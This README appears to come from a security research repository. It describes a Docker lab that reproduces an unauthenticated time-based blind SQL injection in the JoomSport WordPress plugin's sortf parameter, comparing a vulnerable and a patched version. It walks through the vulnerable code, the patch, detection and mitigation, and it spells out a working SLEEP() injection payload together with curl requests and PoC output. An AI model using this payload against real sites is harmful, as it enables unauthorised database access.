
Docker-based lab for reproducing CVE-2026-42647, an unauthenticated time-based blind SQL injection in the JoomSport WordPress plugin via the sortf parameter. Includes vulnerable and patched targets for comparison.
sortfThis repository contains a local Docker lab for reproducing and validating CVE-2026-42647, an unauthenticated SQL injection vulnerability affecting the WordPress plugin JoomSport - for Sports: Team & League, Football, Hockey & more.
The vulnerable behavior occurs in the player list sorting feature. A public visitor can control the sortf query parameter, which is used to build an SQL ORDER BY clause. In vulnerable versions, the value is sanitized as text and wrapped in backticks, but it is not validated against a strict allowlist before being appended to the SQL query.
This lab compares two JoomSport versions:
| Service | JoomSport version | Purpose | URL |
|---|
vuln | 5.7.6 | Vulnerable comparison target | http://localhost:8081 |
patched | 5.7.8 | Patched comparison target | http://localhost:8082 |
The public advisories identify versions before 5.7.8 as affected and 5.7.8 as the fixed version. This lab uses 5.7.6 as the vulnerable target because a 5.7.7 source tag was not available in the WordPress.org plugin SVN tag listing at the time this lab was prepared.
The demonstrated vulnerability chain is:
Unauthenticated visitor
→ JoomSport season player list route
→ attacker-controlled sortf parameter
→ unsafe dynamic ORDER BY construction
→ SQL expression execution
→ measurable database delay in vulnerable version
→ patched version rejects the injected sort field and falls back to a safe allowlisted field
This lab validates the vulnerability as a time-based blind SQL injection. It does not perform database dumping, credential extraction, data modification, or destructive SQL operations.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
| Claim | Evidence | How to verify in this lab |
|---|---|---|
| JoomSport before 5.7.8 is reported vulnerable to unauthenticated SQL injection. | Public advisories identify JoomSport < 5.7.8 / <= 5.7.7 as affected. | Review the References section and compare the vulnerable/patched services. |
| JoomSport 5.7.8 is the fixed version. | Public advisories and source comparison show that 5.7.8 validates the sortf value before building the ordering expression. | Inspect class-jsport-playerlist.php in both versions. |
The affected parameter is sortf. | The vulnerable player list code reads classJsportRequest::get('sortf'). | Run the PoC and observe the injected sortf request. |
| The vulnerable code builds a dynamic SQL ordering value from user input. | In the vulnerable version, sortf is used to build $options['ordering']. | Inspect sportleague/classes/objects/class-jsport-playerlist.php. |
The SQL sink is an ORDER BY clause. | The generated $ordering value is later appended into an SQL query with ORDER BY. | Inspect sportleague/base/wordpress/classes/class-jsport-getplayers.php. |
| The patch uses an allowlist-style fix. | The patched version introduces allowed static columns and expected dynamic field patterns before using the sort field. | Compare JoomSport 5.7.6 and 5.7.8 source. |
| The lab demonstrates time-based blind SQL injection. | The vulnerable target delays when an injected SLEEP() expression is used; the patched target does not. | Run python3 poc/poc.py http://localhost:8081 http://localhost:8082. |
This lab uses JoomSport 5.7.6 as the vulnerable comparison target because the public fixed version is 5.7.8 and a 5.7.7 source tag was not available in the WordPress.org plugin SVN tag listing when the lab was prepared.
The lab does not claim that 5.7.6 is the only vulnerable version. It is used as a reproducible vulnerable baseline for comparing vulnerable behavior against the patched 5.7.8 behavior.
The lab focuses on the sortf parameter in the player list sorting flow.
The demonstrated impact is time-based blind SQL injection. The lab does not demonstrate:
Error-based or boolean-based behavior may be possible depending on database behavior, application configuration, and response differences, but this lab does not rely on those techniques. The primary proof is timing-based.
The root cause is unsafe construction of a dynamic SQL ORDER BY clause from the sortf request parameter.
The vulnerable code path starts in:
sportleague/classes/objects/class-jsport-playerlist.php
Inside the player list loading logic, JoomSport reads the request parameter:
sortf
and uses it to construct:
$options['ordering']
The relevant vulnerable source pattern is:
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
}
The issue is not primarily the sortd parameter. The sortd value is restricted to:
ASC
DESC
The issue is the sortf parameter because it controls the SQL identifier/expression position used for sorting.
The dangerous expression is:
"`".classJsportRequest::get('sortf')."`"
The code places attacker-controlled input inside a MySQL identifier context and then passes it forward as an SQL ordering fragment.
The code applies:
sanitize_text_field()
but sanitize_text_field() is not SQL identifier validation. It is designed for cleaning text, not for safely constructing SQL syntax.
The vulnerable code also wraps the user-controlled sort field in backticks. However, backticks are not a security boundary when the attacker can influence the identifier content. If an attacker can inject a backtick into the value, they can break out of the intended identifier context.
The generated ordering value is later passed into the player retrieval query and appended into an SQL ORDER BY clause in:
sportleague/base/wordpress/classes/class-jsport-getplayers.php
The sink pattern is:
$query .= ' ORDER BY '.($ordering);
This creates the vulnerable data flow:
sortf request parameter
→ classJsportRequest::get('sortf')
→ $options['ordering']
→ $ordering
→ ORDER BY <attacker-influenced expression>
The security issue is that the application treats a user-controlled request parameter as a SQL identifier/expression without first validating it against a strict allowlist.
The relevant patch is in:
sportleague/classes/objects/class-jsport-playerlist.php
In the vulnerable version, the player list code builds $options['ordering'] directly from the request value:
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
}
The vulnerable part is that classJsportRequest::get('sortf') is used inside the SQL ordering expression.
JoomSport 5.7.8 changes this behavior by introducing a validated sort-field variable before building $options['ordering'].
The patched version initializes a safe default:
$sortFieldEsc = 'post_title';
It then defines allowed static sort columns:
$sortCols = array("played", "career_minutes", "post_title");
When sortf is present, the patched code only accepts it if it matches one of the expected static values:
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
The patch also allows expected dynamic event/stat field formats:
if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
The final security-relevant change is that $options['ordering'] is built from $sortFieldEsc instead of the raw sortf request value:
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
This does not remove dynamic sorting. It changes the trust boundary.
Before the patch:
request sortf value directly controlled the ORDER BY identifier
After the patch:
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
If the attacker sends an unexpected value such as:
post_title`DESC,(SLEEP(2))#
the patched code does not assign that value to $sortFieldEsc.
Instead, the sort field falls back to:
post_title
This is why the vulnerable service delays, while the patched service stays near baseline timing.
The security lesson from the patch is:
Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists.
Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
The lab runs two isolated WordPress installations through Docker Compose.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
The two WordPress services run separate databases and separate plugin versions:
| Service | Component | Version / Role |
|---|---|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | database for vulnerable target |
db-patched | MariaDB | database for patched target |
setup-vuln | WP-CLI init service | installs WordPress and seeds vulnerable target |
setup-patched | WP-CLI init service | installs WordPress and seeds patched target |
Default exposed services:
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
The setup process creates minimal JoomSport data required to render the player list route:
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
The vulnerable and patched services use the same lab data shape so that the timing behavior can be compared fairly.
requests package for running the PoC from the hostInstall the Python dependency on the host if needed:
python3 -m pip install requests
Start the lab:
docker compose down -v --remove-orphans
docker compose up -d --build
Watch the setup containers:
docker compose logs -f setup-vuln setup-patched
Expected setup completion messages:
[VULN] setup complete
[PATCHED] setup complete
Check container status:
docker compose ps
Expected exposed services:
http://localhost:8081
http://localhost:8082
Run the PoC against the vulnerable target:
python3 poc/poc.py http://localhost:8081
Run the PoC against the patched target:
python3 poc/poc.py http://localhost:8082
Run the PoC against both targets in one command:
python3 poc/poc.py http://localhost:8081 http://localhost:8082
For more stable timing statistics, increase the number of rounds:
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
You can also adjust the requested sleep time:
python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
The PoC checks each target independently.
It no longer requires separate --vuln-url or --patched-url options. Instead, pass one or more target URLs as positional arguments:
python3 poc/poc.py <target_url> [target_url...]
Examples:
python3 poc/poc.py http://localhost:8081
python3 poc/poc.py http://localhost:8082
python3 poc/poc.py http://localhost:8081 http://localhost:8082
If no target URL is supplied, the script prompts for one or more local target URLs interactively.
Supported options:
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
The PoC is intentionally local-scope. It accepts localhost-style targets such as:
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
The PoC refuses non-local targets by default.
For each target, the PoC performs two timing series:
[1/2] Baseline timing
[2/2] Injected timing
The baseline request uses a normal sort field:
sortf=post_title
The injected request uses a local-only timing payload in the sortf parameter:
sortf=post_title`DESC,(SLEEP(2))#
The PoC calculates:
delta = injected median - baseline median
Then it classifies the target:
| Verdict | Meaning |
|---|---|
VULNERABLE-LIKE | The injected request is significantly slower than baseline. |
PATCHED-LIKE | The injected request stays near baseline. |
UNREACHABLE | The target could not be reached. |
INCONCLUSIVE | Some timing data was missing or incomplete. |
Default decision rule:
injected median - baseline median >= 60% of requested SLEEP()
For the default --sleep 2, the threshold is:
1.200s median delta
This means a target is only reported as VULNERABLE-LIKE when the injected request is clearly slower than its own baseline.
Unreachable or inconclusive targets are not counted as patched.
You can reproduce the validation manually without using the Python PoC.
Vulnerable baseline request:
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Vulnerable injected request:
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Patched baseline request:
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Patched injected request:
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Expected comparison:
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
Command:
python3 poc/poc.py http://localhost:8081
Expected vulnerable signal:
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
Final vulnerable summary:
Final summary
================================================================================================
Target Base med Inj med Delta Ratio Verdict
------------------------------------------------------------------------------------------------
http://localhost:8081/ 0.046s 6.058s 6.011s 130.8x VULNERABLE-LIKE
------------------------------------------------------------------------------------------------
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets : 0
UNREACHABLE targets : 0
INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
Command:
python3 poc/poc.py http://localhost:8082
Expected patched signal:
Target decision
------------------------------------------------------------------------------------------------
Baseline median : around normal baseline timing
Injected median : around normal baseline timing
Delta : below threshold
Ratio : near 1.0x
Threshold : 1.200s
Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
Command:
python3 poc/poc.py http://localhost:8081 http://localhost:8082
Expected result:
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets : 1
UNREACHABLE targets : 0
INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
If a target is not running, the PoC should report UNREACHABLE, not PATCHED-LIKE.
Example:
python3 poc/poc.py http://localhost:8083
Expected decision:
Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
Unreachable targets are not counted as patched.
The PoC probes the JoomSport player list route for a seeded season post.
The target route is equivalent to:
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
The baseline request uses:
sortf=post_title
This should produce normal player list sorting.
The injected request uses:
sortf=post_title`DESC,(SLEEP(2))#
The vulnerable code wraps sortf in backticks and appends a sort direction. The injected value is designed to break out of the intended identifier context and introduce a timing expression into the ORDER BY clause.
Conceptually, the vulnerable SQL fragment becomes similar to:
ORDER BY `post_title` DESC, (SLEEP(2))
The # comment marker prevents the trailing backtick and direction from interfering with the injected expression.
This is not a stacked query payload. It does not inject:
; SELECT SLEEP(2);
Instead, it injects an SQL expression inside the existing ORDER BY context.
The patched version does not execute the injected expression because the sortf value is checked against allowed sort fields and falls back to post_title when the value is unexpected.
This lab demonstrates an unauthenticated time-based blind SQL injection in the JoomSport player list sortf parameter.
The vulnerable version executes an injected SQL timing expression through the ORDER BY clause, producing a clear response delay. The patched version does not delay because the injected sort field is rejected and replaced with a safe allowlisted value.
The lab proves timing-based SQL execution only. It does not demonstrate data extraction, data modification, authentication bypass, privilege escalation, or remote code execution.
Potential indicators include direct requests to JoomSport player list routes with unusual sortf values.
Example suspicious request pattern:
GET /?post_type=joomsport_season&p=<id>&action=playerlist&sortf=<unexpected_value>&sortd=ASC
Suspicious sortf characteristics:
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
Example local lab request:
sortf=post_title`DESC,(SLEEP(2))#
Expected vulnerable signal:
HTTP 200 response with significant timing delay
Expected patched signal:
HTTP 200 response without significant timing delay
Potential production monitoring ideas:
sortf values.Upgrade JoomSport to 5.7.8 or later.
The fixed version constrains the sortf parameter to expected sort fields and dynamic field patterns. Unexpected values fall back to a safe default sort field.
Application-level mitigation guidance:
sortf parameters.The most important control is the allowlist. Escaping alone is not a complete fix for dynamic SQL identifiers.
Check running containers:
docker compose ps
Watch setup logs:
docker compose logs -f setup-vuln setup-patched
Check WordPress services:
curl -I http://localhost:8081
curl -I http://localhost:8082
Run the PoC against the vulnerable service:
python3 poc/poc.py http://localhost:8081
Run the PoC against the patched service:
python3 poc/poc.py http://localhost:8082
Run the PoC against both services:
python3 poc/poc.py http://localhost:8081 http://localhost:8082
Run the PoC with more rounds:
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Save evidence:
mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5 \
| tee evidence/timing-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
> evidence/docker-compose-logs.txt
Check plugin versions inside WordPress:
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Inspect vulnerable source:
docker compose exec -T vuln sh -lc \
"grep -R \"sortf\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Inspect patched source:
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Inspect SQL sink:
docker compose exec -T vuln sh -lc \
"grep -R \"ORDER BY\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
Stop and remove containers and networks:
docker compose down --remove-orphans
Remove containers, networks, and volumes:
docker compose down -v --remove-orphans
Remove evidence files if created:
rm -rf evidence/
This lab is for local security research and controlled demonstration only.
Do not run the PoC or payloads against systems you do not own or do not have explicit permission to test.
Do not use real credentials, production secrets, or external targets in this lab.
The PoC is intentionally scoped to local Docker services such as:
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
The PoC does not include payloads for database dumping, credential theft, data modification, persistence, lateral movement, or external callbacks.
The goal is to demonstrate one specific technical condition in a controlled environment:
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
Wordfence Advisory: JoomSport <= 5.7.7 - Unauthenticated SQL Injection via sortf Parameter
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
Wordfence Advisory: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - Unauthenticated SQL Injection https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
WPScan Plugin Vulnerability Database: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/
WordPress.org Plugin: JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/
WordPress.org Plugin SVN https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
WordPress.org Plugin SVN Tags https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
OWASP Web Security Testing Guide: Testing for SQL Injection https://owasp.org/www-project-web-security-testing-guide/
OWASP Cheat Sheet Series: SQL Injection Prevention https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html